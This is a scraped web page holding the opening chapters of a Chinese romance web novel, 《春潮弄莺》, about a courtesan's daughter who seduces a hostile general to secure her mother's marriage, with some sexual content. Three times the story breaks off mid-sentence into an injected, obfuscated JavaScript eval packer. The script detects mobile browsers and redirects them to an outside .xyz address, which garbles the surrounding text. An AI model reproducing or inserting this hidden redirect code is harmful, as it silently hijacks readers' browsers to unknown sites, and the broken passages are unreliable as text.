《春潮弄莺》 1. 第 1 章 《春潮弄莺》 晋江文学城首发|施黛作品 溽暑时节,空气里燎热夹带闷潮,不管白日还是夜间,都叫人舒服不到哪里去。 青鸢坐在正行进的马车里,车厢闷热,她掀开车帘一角意欲透透风,可惜效果甚微,于是无奈收手,只得加速扇扇手里的花蝶团扇。 白皙螓首和鼻尖处都沁上层细密的汗珠,青鸢捏提手绢,低颈拭抹。 因暑热缘故,此刻她唇瓣显得格外滟滟,明明面容未着丝毫粉黛,发鬟也是素的,可那张脸美艳得过于直观,她只是在那安静坐着,不嗔不笑,也叫人容易沦陷进她那乌眸善睐的妩媚中。 浑然的慵媚,不可方物。 马车辘辘穿过闹市主街,在一个不起眼的巷口改道,之后又拐了两三次,终于在一家门户附近停下。 早有人在门口等着了。 见青鸢下来,一位梳着狄髻身穿灰褐色褙子的中年妇人,忙上前扶手接应。 她先示意车夫将马车匿迹,而后左右看看,确认无人后,才恭敬引着青鸢进院。 这院子外看不起眼,然而里面的布置却很雅致,属于麻雀虽小五脏俱全,既毗邻闹市,有烟火气,又相隔几条短巷,正好将外面的嘈乱纷扰全都隔挡下来。 一看就知,当初寻这房子的人一定是用心挑选的。 进了院,刚迈几步,草药味直直扑鼻,虽不至于辛呛,但也绝算不上沁香好闻。 青鸢眉目露忧色,望着主屋方向,关怀询问出声:“阿娘近日身体如何?药有没有按时吃,还吐得厉害吗?” 身旁的钟媪摇摇头,如实回话:“药都吃下了,可娘子心里闷堵着,郁郁难抒,心病难医,故而这身子总是不见好的。” 说完这句,钟媪刻意压低声音,又道:“前日侯爷来过了,又愁又叹,说与世子谈过了,还是没个结果。娘子病着相劝,王爷看不过去,忿忿扬言说儿子管不了老子的事,实在私下里说不通,他便进宫去求陛下。” 青鸢面上未变,心头却不由跳了跳。 话说到这儿,两人挨近主屋,青鸢停步,没再回话。 钟媪守在门外,青鸢一人提步进了内间。 房间整洁,架上的博山炉里燃着篆香,烟轨袅袅,有香压着,里面药味倒不显得浓。 最里面床榻上倚坐着位病容娘子,眉目清丽,面色恹恹,看到来人后,郁愁空落的眸子忽而有了光亮。 青鸢见状,心头一酸,快步上前唤了声:“阿娘……” 榻上的贺容音情绪明显有起伏,她没忍住地攥着手绢干咳两声,缓过劲后才应道:“鸢儿到了,快过来,让阿娘好好看看。” 母女俩面对面相坐,青鸢想努力露个微笑,却实在扯不动嘴角。 如今形式,当真叫人难熬。 半响,她低垂头,怅然喃喃开口:“阿娘,你受苦了。” 贺容音摇摇头,口吻竟是轻松的:“尽人事,听天命吧。侯爷待我一片真心,我实在不想看他们父子因我而反目,就算最后还是不能进侯府,落名分,我也认命了,更何况,我这样的身份,原本一切都是奢求……” 青鸢听得心里极不是滋味。 阿娘实在是个苦命人,本是贵族小姐出身,却因父辈追随奸佞受牵落罪,家门被抄,最后被迫沦落教坊司,没入官籍。 当年,阿娘与老侯爷原本是有婚约的青梅竹马,只是事发后,这桩亲事自然不被人再提。 后经二十载辗转,两人缘分再遇,一个如萍飘零终身未嫁,另一个则是早年丧妻的鳏夫。昔日情分还在,两人重逢如同两缕孤独黯淡的灵魂终于彼此照亮,老侯爷大喜过望,觉得终于有机会弥补少时挂心的遗憾,惟愿在生命的后半程里能自己做回主。 其实,若抛开身份门第,不管外面的风言风语,这也算是一桩好事了。 然而,老侯爷唯一的儿子——侯府世子,同样为当今天子的宠臣,年内刚刚立下赫赫战功的征虏大将军瞿涯,却坚决不肯同意父亲续弦再娶,觉得父亲迎娶一伶人入府实在可耻,犹为生母蒙辱,是故不肯点头。 虽然世子如今尚未承袭爵位,但因其圣恩深隆,在侯府,他说一不二,更像是真正做主的当家人。 没人能叫他松口,连老侯爷这个亲生父亲,也磨不软他的心肠。 于是,阿娘的心情前后发生巨大起落,先是听老侯爷情意绵绵地与她商定婚事细节,后又得知世子为难,进门无望,心事几番辗转,欢喜都成空落,郁郁寡欢之下,最终竟愁出病来…… 正想到这儿,耳边突兀传来一道轻呕声。 青鸢的思绪立刻被唤回,见阿娘眉心微蹙,附着胸口一副不适的模样,忙凑上前帮阿娘轻拍背脊顺气。 阿娘的脸色实在虚弱又苍白,先前听钟媪传话说,这两日阿娘吐得频率愈发勤了。 青鸢手心微紧,心想此事绝不能再继续这么不明不白地拖下去。 她脱口而出:“阿娘,我来想办法,我……” 贺容音领会到什么,不等青鸢说完,忙将女儿的话打断,她警觉道:“阿鸢,你万不可去招惹世子,他心里恨我,自然也连带恨着你。” 青鸢点头,嘴上答应:“阿娘放心,我不会冒失去求他的,我知道自己的斤两,世子又哪会把我放在眼里。” 贺容音这才松了口气,疲惫的目光继续茫然空落着。 …… 阆苑,京城最大最奢华的听音坊。 俗话说,有钱能使鬼推磨,可在阆苑,银子失了效力,权利才挤得上门阶,寻常的富贵子弟在这里,一掷千金也只登得进一楼的花门。 而二楼三楼,一阶一阶往上,见到什么当朝的大人物都不算稀奇。 青鸢从后门归,回到自己在阆苑的住处,进屋还未坐实,就急急召来自己的心腹夏蝉过来问话。 屋里没有第三人在,主仆两人的对话不必顾虑,很是直接。 青鸢问话:“给世子的拜帖,有回信了吗?” 夏蝉如实禀告:“还是没有,世子似乎铁了心不见姑娘。” 青鸢微微沉默,紧抿唇,修剪精美的长指甲用力揿着手心,留下鲜明的印痕。 她不觉痛,满目忧心忡忡。 夏蝉想到什么,又补充开口:“对了,婢子还打听到,三日后,世子会出席江阴伯嫡次子的生辰宴,不知道那种场合有没有咱们碰运气的机会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285639|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青鸢微觉诧异,那种场合,世子是从来不爱参与的,怎么忽的生了反常? 江阴伯嫡次子王赞,青鸢没见过,但也听过其名号。 不过一个不成气候的纨绔子弟,靠祖父辈的功绩混吃度日的虫蠹,是世子最不屑结交的那类人。 平白无故的,瞿涯为何会去赏他的脸? 青鸢想不通,又问:“生辰宴是在江阴伯家中摆设的吗?” 夏蝉摇头回:“不是,听闻是在西淮河秦五娘的画舫上,咱们阆苑有两位姑娘也被邀去献艺弹曲了呢。” 青鸢原本还在愁目思忖瞿涯的动机,听到‘阆苑’二个字后,她揿摁手心的力道蓦地一松,而后猛地抬头,抬眼直勾勾盯向夏蝉,急切问:“阆苑……阆苑也去人?哪位姑娘去?” 夏蝉不明所以,但还是立刻回话道:“是胭脂阁那边的人,打听过了,是听琴和画意。” 青鸢有些坐不住了,起身在房内来回踱步,心焦浮躁显而易见。 夏蝉看她半响,困惑又小心翼翼地探问开口:“姑娘,怎么了?阆苑去人有何不妥?” 没有任何不妥,只是阆苑去人,代表瞿涯赴宴的消息一定会传进她的耳朵里。 他明知道此时此刻她急于求他,迫切想见到他,甚至千方百计打听着他的行踪去向,却一面闭门不见,拒人于千里之外,一面又不动声色暗戳戳传来这样的信息。 究竟意欲何为? 青鸢实在拿不准他的心事,更猜不透他是真的对她厌烦相见,还是隐晦在给机会,容许她主动找上门去求上他…… 不管怎么样,求人的那一方注定永远被动,哪怕她八面玲珑,擅长奉迎,世子于她,始终都是上位者下视,她无处遁形,更从没有公平谈判的筹码。 …… 青鸢在阆苑苦思冥想了两日,琴瑟根本弹不下去,一起手便连连错音,简直辱没了手下那把前朝妖妃遗留在世的心爱之物。 放下琴,青鸢打开内室窗棂,俏立窗边,目光不由看向胭脂阁的方向。 她远远看到听琴与画意正在水榭台上勤奋苦练,显然是为明日的画舫曲宴用功准备。 青鸢长睫轻蜷,心里落定了主意。 她没有别的选择,眼下这是见到瞿涯的唯一机会,她只能赌一把。 瞿涯会怎样看她?如何待她?又会不会为了泄愤叫人辱她…… 她完全不知。 事到如今,只能豁出去,做最坏的打算,赌他冷心硬肠下还有一丝良善,更或许,他心中再厌,面对她的纠缠,身体也做不成完全无动于衷的柳下惠。 青鸢很清楚自己的优势在哪,她不是在清水池长大的,从小到大,无数男人垂涎又带征服欲的目光在她身上移都移不开。男女情事她虽未亲历过,但她有个当过花魁的生母,娘胎里带出来的媚相酥骨,加之耳濡目染,道听途说,她知晓的花招数不胜数。 此番为达目的,她将不计代价。 阿娘这一世过得太苦了,余生恐怕只剩下与老侯爷厮守这唯一的一点甜。 她必须尽力帮阿娘争取,无论付出怎样的代价都在所不惜,以报这么多年生母不养,养母珍疼的拳拳恩情。 2. 第 2 章 晚间饭后,青鸢不动声色待在自己的房间里拨弦弄音,好整以暇等着来客登门。 和她预想的一样,不多时,外面木阶传来蹬蹬上楼的脚步声。 与此同时,夏蝉低身侧首,冲着青鸢耳语一声:“姑娘,薛三娘来了。” 薛三娘是阆苑的管事妈妈,负责阆苑姑娘们的席宴调度,不过京中寻常的曲宴,平日里是用不着青鸢亲自出面的,她是当今天子皇叔勤王的座上宾,因精通曲艺,惯被敬重,在阆苑里地位甚高,也很清傲。 无事不登三宝殿,薛三娘罕见来她儿这一趟,必定是外面有需要她出面的场了。 夏蝉迎人进门。 薛三娘年逾四十,依旧满身鲜亮色,面颊敷着厚厚的粉,努力遮掩岁月的刻刀留痕。 见青鸢正在低眉练琴,薛三娘知趣地在旁安静站定。 美人纤纤细指状似随意拨弄,曲调却婉转悠扬,不尽弦外余音,叫人听得心旌安定。 一曲尽,薛三娘面上堆笑向前,带着几分殷勤奉承意味,开口道:“姑娘八音娴习,律吕精通,天赋卓卓又肯下苦功,难怪在阆苑里一枝独秀,最得勤王殿下赏识敬重。” 青鸢懒得应承,开门见山问:“三娘过来,寻我何事?” 薛三娘笑意不减,尽说好话:“确有一事需青鸢姑娘出面。原本京中寻常公子的筵席不该叨扰姑娘,可阆苑里擅凤首箜篌的不多,暮间听琴姑娘突然染了咳病,弹一首曲子得咳上三四次,憋得脸都涨红了也忍不住,实在上不得太台面了。 事发突然,王公子的生辰宴明日就开了,我左思右想寻不到能替的,不得已才寻上姑娘伸手帮忙。外面那些公子哥大多没见过姑娘真容,到时姑娘就顶听琴的名号,出席献艺,曲罢而归,如此也不堕姑娘一贯的矜重风雅。” 青鸢笑意浅浅,温和很好说话的态度:“蒙王爷赏识,阆苑优待于我,我岂能恃宠而娇,认不清身份?何况哪有什么帮不帮的话,都是青鸢该做的罢了,三娘将曲谱留下,我今晚习练一番,明日好上场熟练应付。” 薛三娘来前准备了不少软磨硬泡的好话,不料青鸢答应得这么轻易爽快,她那一肚子腹稿没处发挥,只得重新吞咽进肚。 心里忍不住犯起嘀咕:青鸢一向恃才自矜,厌烦酒宴陪曲,今日怎么忽的转了性? 平日里相处,她待人也冷冷淡淡,并不像是个热心肠的人啊。 想不明白索性不再想,不管如何,棘手的难题轻易解决,薛三娘心里的石头落下,眉梢也舒展开不少,连带语气都变得更轻松了。 “好好,曲谱放在这儿,都是王公子点名要听的,不过依姑娘之曲功,哪还用温习,姑娘好好休息,我就不作扰了。” “三娘慢走。” 送人走后,夏蝉回来。 青鸢问她:“听琴的咳疾,无大碍吧?” 夏蝉做事一贯妥善,回道:“姑娘放心,听琴姑娘过敏轻微,嗓子后日便能恢复。” 青鸢放了心,又作其他吩咐:“帮我从藤箱里取来那件月白云纱轻罗裙,明日赴宴,不宜雅淡。” 夏蝉知晓那件华裳罗衣暗藏玄机,眉眼低垂,不忍姑娘赴宴受欺。 可为了圆贺阿娘的一桩心事夙愿,姑娘别无他法,只能行这下下之策了。 …… 暮色浸软了西淮河的水,波光粼粼。一艘华丽画舫向东轻摇,越荡越离岸边远。 船上灯影摇曳,软幔翻扬,雕花棂窗里不断往外溢着丝竹管乐与吃酒猜拳的笑骂声,和着河浪的逶迤涛声,混乱成一片。 一层舱室里,瞿涯被几个簪缨子弟围坐在主位,他肯赏脸来,过生辰的王赞觉得面上十分有光,酒后更得意洋洋,在瞿涯面前狂卖殷勤。 见瞿涯手边的酒杯液满未动,王赞醉醺醺笑着问:“世子可是嫌今日的酒水不适口?我父亲这点藏酒自然比不上陛下亲赐的好,来来,委屈世子与我碰一杯,全当贺我。” 说罢伸臂向前,满面红光。 瞿涯没回话,冷峻的面容微露不耐。 他目光冷冷觑向屏风旁一脸色意,正趁醉对着舞女上下狎昵的一个浪荡子。 开口不厉而威:“如何贺你?那边有人正给你表演活春宫,他那也算贺祝?” 王赞惶惑看过去,当即会意,立刻呵止:“孙二郎,你猴急什么?是没见过女人么?等会有你泻火的时候,世子还在呢,你敢乱来污了世子的眼,趁早给我滚蛋!” 被吼的男子一怔,腹下火气瞬间灭了大半。 他不情愿地将身下舞女脱手一放,尴尬提起裤子,又讪讪摸了摸脑袋。 瞿涯不咸不淡看着他:“哦,原来是大理寺少卿家的公子。” 不过庶子而已,平日唯唯诺诺,如今在下阶层的官妓面前倒擅长作威作福装祖宗了。 被点名的男子登时腿肚一软,看都不敢去看瞿涯。 他心知自己触了瞿涯的霉头,慌里慌张找补说:“世子莫怪,我刚是……是醉糊涂了。” 瞿涯不理会,望着空荡荡的门口,心中的烦躁情绪快要按捺不住地到达顶峰。 他状似无意问了句:“今日这场子,无其他人来了吗?” 王赞摆手将屋里的几位教坊司舞女驱离,讨好地对瞿涯道:“这些庸脂俗粉自然难入世子的眼,在下还特意邀了两位阆苑的姑娘来献雅艺,她们坐乌篷船来,按时辰是快到了,世子一定要留下听完一首凤首箜篌曲啊。” 似看出瞿涯无趣,有要走的打算,王赞赶紧劝说。 毕竟人家可是天子宠臣,多留一刻都是给他撑场子,王赞最爱干打肿脸充胖子的事,为了瞿涯能再多留个一时半刻,他殷勤得简直像宫里伺候的太监。 瞿涯面上依旧冷淡,不过到底没有离席。 王赞以为瞿涯是卖自己的面子,一时更有些飘飘然。 很快,侍从进来禀告,阆苑来人。 王赞坐在瞿涯身边,又给他换盏另倒了一杯酒,之后才挥手朝外示意。 “让进来。” 略须臾,两位身形纤纤的女子前后抱琴而进。 阆苑调教出的姑娘自然都懂规矩,她们见过大场面,不怯不惧,礼数周全,步态妩媚而不轻浪,眉目含蓄低垂,并不像花楼里的姑娘明晃晃地直用眼神勾引人。 “婢子画意,婢子听琴,见过几位公子,今朝贺王公子生辰,特为公子抚琴助兴。” 两道声音合在一起,甚是莺啭悦耳。 王赞不由耳边一酥,忙抬眼看去。 就见名叫画意的姑娘站在前,身子靠近烛光边缘,一半的脸颊被映亮,很是貌美;而听琴在后,站立的位置正好匿在帷幔下的暗影里,因遮着面,一副不甚招眼的样子。 于是王赞的目光自然落在画意身上更多,说道:“你们可得好好弹,薛三娘打了包票的,说你们二位技艺高超,今日本公子这里有贵客在,若你们的琴艺名不副实,小心本公子命人砸烂你们的琴……” 王赞半玩笑半威慑地说完,心中膨胀感更强,他实在享受这种以我为尊的感觉。 说罢,又与身边人搭肩劝酒,醺醺饮醉在一起。 在场除了瞿涯,旁人都很给他面子,这么会儿功夫,不知又往肚里灌进多少酒水。 瞿涯还是滴酒不沾。 方才他目光始终旁落,与周遭混乱的氛围格格不入,而现在,他眸光如炬,不动声色睨向舱室角落,不偏不倚直盯上帷幔浅罩后,那道半被遮掩的纤瘦倩影。 敢来,很好。 …… 青鸢低眉拨弦,紧张压抑心脏的狂跳,尽量专注奏起箜篌曲。 她刚一进屋便注意到了瞿涯,他身量挺拔,眉目如隼,与那群酒囊饭袋同席,犹如鹤立鸡群,那么突显,没人会注意不到。 当下心底更慌,青鸢生怕自己指下错音,是故不敢看他。 她在暗,瞿涯在明。 光影掩映,他大概看不清她,自然也不会识得她身份。 更或许,依他那副兴致缺缺的模样,压根不会注意房间里她这一号人的存在。 如此自我安慰,青鸢忍下慌乱,硬着头皮将曲子完成。 她自认弹出了水准,可曲一停,席上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青鸢冷静自持,刚想借王爷的名头狐假虎威,舱室内忽的发出桌倾凳倒的巨大响动。 众人循声看去,有胆小的,当即面色一白。 是瞿涯沉了脸,一脚将酒桌踹翻,瓷盘杯盏碎了满地,汤菜四溅,舱内顿时一片狼藉。 场上之人无不瑟缩,唯独他从容不迫。 瞿涯长腿迈出,黑金皮质的纹金长靴碾上碎瓷片,步伐稳健,气场凌厉地朝人群走来。 周遭没人敢抬眼看他。 驻步站定,瞿涯眼神冷肃,视线先掠过刚刚造次的纨绔子,之后环扫一圈,周身寒气裹挟宛如自战场挟回了的杀伐气,不厉而威,引人胆寒。 “都滚。” 他不耐眯着眼,幽沉吐出两个字。 王赞悚然一个哆嗦,率先回过神来,赶紧带头遛窜,哪还顾什么面子。 画舫已经游远了,他们不敢原地耗时间等画舫返航靠岸,于是全都委屈着坐上送伶人来回的简易乌篷船,脸色各有各的难看。 见状,青鸢抿抿唇,犹豫着要不要也退开一步。 正想着,一只大掌忽的实实压在她的肩膀上,力道分明。 对方掌心温度灼热,垫在那里,好似要将她的肩头烫出个火洞来。 她屏住呼吸,煎熬感受,不敢抬眸。 瞿涯迟迟不开口,青鸢等得焦灼,终于按捺不住,斟酌着硬着头皮唤道:“公子?” 她口吻刻意假装不认识他。 瞿涯听了,嘴角扯出抹冷笑,紧接眼神森冷,睨着她,开口意味不明:“你叫听琴?” 青鸢心下一慌,更生窘迫,一时不知该不该应。 迟疑间,画意在旁小心戳了戳她的肩膀,眼神带着惊恐,似是提醒她赶紧回话。 青鸢顾着同伴,无奈点头,嗡声回:“是,奴婢听琴,阆苑琴师。” 瞿涯旋即发出一道冷哼,眼神透戾。 他漠然松开手,负身而立,字字透寒:“姑娘琴技不俗,方才环境嘈乱,听得不尽兴,还请姑娘随我上楼,再续一曲。” 说完先一步离开。 他言语是商榷的,可语气却不容置喙。 青鸢手心攥了攥,汗津津的。 她怀疑瞿涯认出了她。 画意看着她欲言又止,目光担忧,青鸢给了她一个安抚的眼色。 瞿涯的耐心是有限的,她没敢多犹豫,低身抱琴,忐忑跟随瞿涯上了画舫二层。 脚步踏上木板,声响咯吱咯吱,与她发慌的心跳几乎乱在了一处。 3. 第 3 章 月夜起了雾,薄雾氤氲中,一艘乌篷小船形单影只地往岸边靠。 狭窄的船舱里硬生生挤着五六个成年男子,各个身形都不算消瘦,别说拥不拥挤了,简直是差点人叠人,好像搅进大盆里在和人肉馅。 画舫周围只这么一艘能立刻回岸的小船,他们宁愿挤着上,也不敢继续晃悠在阴晴不定的瞿涯面前活找罪受。 简陋船篷里,捂出的汗臭味愈发熏人。 终于有人憋不住委屈劲,骂了句脏话出来:“他娘的,这叫什么事!我不过是跟那伶人随口玩笑了几句话,惹到他瞿涯什么,他至于突然这么不给面子地发火踹桌?” 过生辰的王赞经过方才那一吓,酒劲褪下大半,头脑渐渐清醒不少。 他咂摸了两下嘴,有点回过味来说:“伶人……我突然想起来,最近街头巷尾不是都在谣传着,老侯爷即将续弦再娶,打算迎一伶人进门,还因此事差点与世子父子反目?刚才世子骤然生恼,该不会就是因为杨少贬了那伶人姑娘几句,他联想起老侯爷做的不光彩的事,连带觉得自己面上受辱无光,所以愠恚愤懑,迁怒到了我们身上?” 气氛陡然安静。 过了一会儿,有人不可置信开口:“不应该吧,那些谣言不都是空穴来风瞎传的嘛,难道还能是真的不成?老侯爷要续弦一个低贱的伶人进门给世子作后娘……他这是多想不开啊,祖宗的脸面都不顾了?” 王赞越想越觉得自己的猜测合理,懊悔叹了口气:“怪我蠢了,这个节骨眼上,不管是真是假,我干嘛邀阆苑的人过来凭白给世子添晦气。所幸他那一脚是踹翻了桌子,要是直接踹咱们身上,不死也得半残。” 众人闻言皆是一阵后怕。 又回想刚刚世子过激的反应,越来越多人觉得可能传言当真非虚? 不过乌篷船早离画舫远了,瞿涯鞭长莫及,他们也敢在此偷偷议论两声。 “若这事是真的,老侯爷也忒贪色了点吧,都快五十了还不消停……” “俗话说有其父必有其子,老侯爷如此,他唯一的嫡亲儿子难道真是传闻中的那般,满心兵戈,不近女色?” “世子没有婚约,也没听说他在府上豢养私娈,不过军营里就不知道了,没准他每次打完仗,帐里都有暖床的美婢给捂脚呢。” 周遭陆续响起低低窃窃的笑声,都不怀什么好意。 刚刚被瞿涯下过面子的杨桀,怀着报复心,不嫌事大地幽幽开口:“管他呢,反正京城无趣了这么久,马上要有热闹看了也挺好。依瞿涯那眼里不容沙子的性情,老侯爷若真敢不管不顾续弦伶人,他能把侯府院子点了信不信?见血要命的事,他绝对干得出来。” 世家子弟都是一样的想法,王赞带头评价了句:“那伶人痴心妄想,进侯府绝对没门,辱没门楣的事,连他老子的话都是放屁,谁还有这么大本事,能让世子松口?” 他们自然不知,能让瞿涯松口的人,刚刚就曾与他们同船泛舟。 而此刻,那女子正可怜伏在瞿涯膝前,流着泪,啜啜低泣。 …… 画舫二层内,纱幔整束,榻净簟洁,丝毫未被下面的浑浑酒气所污浊。 瞿涯矜贵坐在一张黄梨木椅上,双腿微张,唇瓣紧抿,面色始终沉着。 他低喘了口气,向下冷睨着那个大胆靠近他的女子,看她眼泪婆娑,眼尾慢慢洇湿他膝盖的衣料,眉心不由烦躁一拧。 他从没有怜香惜玉的心思,换做旁人,他早厌嫌地一脚将人踹开了。 但对青鸢,终究有些不同。 瞿涯板着脸伸手,搭落在她肩上,而后眸子一眯没多留情,直接一把将人推搡在地。 之后看也不看她,整理衣袍兀自挡了挡,口吻不善道:“你装可怜没够了是吗?” 青鸢猝不及防跌坐地上,无辜看向他,唇瓣鲜妍:“世子……” 她面上的遮挡早在刚上来时就被瞿涯粗鲁地一把扯掉了,此刻眼尾红红,光洁的颊顋完全显露,逼人的美貌半分不遮,明晃晃映在瞿涯眼前,妩媚浑然,我见犹怜。 偏瞿涯不怜。 他漠然起身,烛光从他背后打来,暗影瞬间自上而下笼罩在青鸢身上,压抑非常。 青鸢昂头,肩胛似乎瑟缩了下。 瞿涯朝前弯身,抬手挑起青鸢白皙的下巴,恫吓言道:“听说你一直送帖想要见我,今日见到了,以后别再来烦我,若再派人来送信纠缠,我会将来人的腿打断。” 说完,他果断松开手,好似不想与她沾连半分半毫的关系。 见瞿涯要走,毫无商榷的余地,青鸢一咬牙,急声开口道:“世子先前欠我的人情,难道不打算还了吗?” 瞿涯止步,周身外散的寒意瞬间更加凛人。 他回过头,眸底再没有任何玩味与戏谑,只凌厉扫过她,与刚刚看那群纨绔子弟时的眼神没有什么区别。 都是烦极了,厌透了。 “你还敢提。” 瞿涯开口,字字如冰锥向下砸落。 青鸢再次在他身前伏低,干脆一股脑把话说完:“两年前,世子被政敌算计,领兵期间私自回京,险些被揭发抓个正好。世子受伤躲进阆苑,是我打掩护助世子脱险,当时世子金口承诺,这份人情将来一定会还。后面发生的这些谁都难料,如今我只想为阿娘求个余生安稳,还请世子信守昔日诺言,点头允了吧……” 她眼神祈求,说着又落下泪来,泪水洇在瞿涯长靴的鞋头。 适当的示弱,于她而言,正是武器。 “谁都难料……”瞿涯重复完,忽的冷呵了声,自上审视着她,“还敢嘴硬?你们母女俩难道不是早就包藏祸心?青鸢姑娘,你胆子很大,刚被老头子接进京城,落稳脚跟,就敢把算计打在我头上,当时看我对你感谢,对你难忘,你是不是觉得我很蠢?” 青鸢正拼命摇头,听到最后那句,不由讶然一愣。 对她,难忘? 什么时候…… 就在救下他的三天后,瞿涯便探明了她的全部底细,顺便查清楚,她就是与老侯爷关系不清楚的那个伶人的女儿。 自此,瞿涯将对她的恩情全部转变成了厌意,更把她当初的善心视作卑鄙的阴谋。 青鸢有口难辩,尝试解释无果,那之后,她再未见过瞿涯了。 过去两年,瞿涯始终作梗,老侯爷迎娶阿娘的事总是一而再再而三地被耽搁。 直至今日,再也耽搁不得了。 青鸢不惜提起往事,恩情相挟,与他摊开讲明。 “我知世子对我误会甚深,可我当真不是世子所想的心思深沉之人。当日相见,只是巧合,我压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285641|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根不识世子身份,更没有占卜预知的本领,哪会提前知晓世子会何时何地出现……我救公子,乃情急之举,未曾多想其他。” 瞿涯脸色毫无动容,只将她的话当作巧舌如簧的辩解。 他认定她阴谋算计,她永远翻不了身。 青鸢见瞿涯没有立刻走,擦擦眼泪,絮絮又道:“世子深厌我阿娘,我都理解的。倘若你我立场互换,这事发生在我家,我同样会有不忿情绪,但事已至此,再拖下去闹得太僵,双方都没有赢家,求世子抬抬手,全当可怜苦命人了好不好?” 瞿涯看她狼狈涕零的模样,报复心并没有多少满足。 眼下这些,远远不够。 他沉声问:“过去两年,你有很多机会可以见我,但你没有,直到两个月前,你开始坐不住了,是为什么?” 青鸢没有回话,瞿涯什么人,他怎么可能查不到? 问她,只是想趁机羞辱吧。 果然,她不回复,他更咄咄逼人。 “你娘真是有手段,叫人不得不佩服。老头子快五十了,她还能为了荣华富贵折腾着怀上孩子,够拼的。你是她女儿,她的这招本领,你学会了几分?能不能现学现卖?” 青鸢小脸立刻白了白。 尽管来前,她已经做好被羞辱的心理准备,可当面听着这话,还是觉得那么刺耳。 幸好,这些话是她听了,不是阿娘。 她愿意身承瞿涯的任何发泄与怒火,只要阿娘能进府,孩子能有身份地顺利降生,哪怕万劫不复,她也不怕。 青鸢颤巍巍直起身,慢步挪至瞿涯面前站定。 她小心翼翼试探拉上瞿涯的手,而后牵引着他,环上自己纤瘦的腰身。 瞿涯大概一时没反应过来,居然任由她放肆了。 两人挨得近得不能再近,灼灼呼吸交缠在一起,舱内瞬间陷入一片诡异的安静,幽幽的甚至能听到外面涌动涟漪的水声。 对峙,抗衡,试探底线。 只对视几秒,青鸢便能确认,瞿涯并不是他口上说的那样,对她厌恶至极。 那就有余地了。 她回他的话,没有刻意妖媚,但眼波流转,是无辜又清纯地引诱。 “我的本领,世子想领教吗?” 说完,她并不迟疑地褪了身上的外衣,露出贴肤的月白纱内衫,内衫轻薄透里,姣好的酮体曲度若隐若现,丰腴之处不输成熟美妇,而细腰纤纤又是少女的象征。 最叫人咬牙切齿的是,她最里面刻意什么都没穿。 薄衫半遮不遮,能看的不能看的,全部一览无遗。 青鸢已经决定破釜沉舟,所以主动出击的第一招,必须足够分量。 瞿涯晦暗的眸子死死盯着她,欲言又止片刻,猛地抓过她手腕,恨恨道:“今日这是什么场子,你敢穿成这样上船?若我不在,其他人趁醉脑热,直接剥了你衣服怎么办?” 在他盛怒的眼神下,青鸢反而格外冷静。 她鼓起勇气踮起足尖,轻柔如水地主动环上瞿涯的脖颈,而后歪头,闭眸吻了上去。 在瞿涯怔愣的一刹那,他的手居然完全出自本能,下意识在她腰间轻环了下。 微不可察的力道。 青鸢呼吸一滞,这才迟疑发觉,自己对他,似乎很有吸引力。 4. 第 4 章 面对瞿涯,青鸢心底到底怀怯。 哪怕她深谙男女情爱一事,知晓百般花样,可真正付诸行动时,也做不到完全游刃有余。 她觉得,瞿涯对自己大概是有那么一点留情加纵容的,不然依她那点软绵绵的力道,如何能轻易将人扑到榻上,又压得他动弹不得。 瞿涯是武将,一身力拔山河的气势,折她如弯花.径般轻松,若他当真铁面无情,她没有丝毫靠近的机会。 青鸢有点小聪明,知晓以柔克刚,察觉瞿涯身躯紧绷,她柔软的腰肢立刻宛如白蛇身,贴着蹭着,耍赖纠缠。 瞿涯起初很恼怒,眼色晦暗,眸底生厌。 可当她继续不讲道理,得寸进尺,甚至趁其不备直接扑吻上他的喉结时,他并没有奋力起身,甩手把她丢出去。 而是闭了眸,锁着眉心,古怪发出一声几不可闻的低喘。 那声音沙哑,青鸢的耳朵都被磨痒。 再之后,瞿涯猛地翻身,咬牙切齿将青鸢笼罩身下,咬牙切齿问:“你上赶着找操?” 青鸢没敢回话,脸上羞热,她从没有听过他讲粗话。 瞿涯为世家子弟,家教森严,只是常年扎在军营男人堆里,有些荤话素日里自然听得不少。 思及此,青鸢凝眸落在他左边肩胛处的旧疤上。 刚刚纠缠时,她无意将他的衣襟扯开,麦色肌理裸露,她的视线顺势停留。 那么长的一道痕,应该是刀伤,过去很久依旧显眼,可想而知当初伤势有多重。 青鸢大着胆子,伸手摸了摸那里,触感突出。 她忽的小声问:“现在还会疼吗?” 瞿涯原本埋压在她身上,难解难抒的不痛快,被她一碰,身形更僵。 他没有回复。 更不想听这个。 两人之间最好不要有一丁点的温情,她算计,他报复,礼尚往来,如此最好。 青鸢还以为是自己声音太小,他没有听到,于是大胆再问一遍:“这个伤……” 话未说完,就被打断。 瞿涯声冷:“不关你的事。” 青鸢只好缩回手。 两人眼神短暂对上,瞿涯又先一步移开,他刚舒缓口气,突然感觉丝丝的痒意如轻羽拂撩一般自肩头扫过。 他太阳穴突突一跳,往下看去,就见青鸢胆大妄为地伏在他旧伤疤痕处轻轻吹气,不知从哪学来的轻佻花招! 瞿涯抓住她手腕用力一攥,恶狠狠说:“再自作主张就滚下去。” 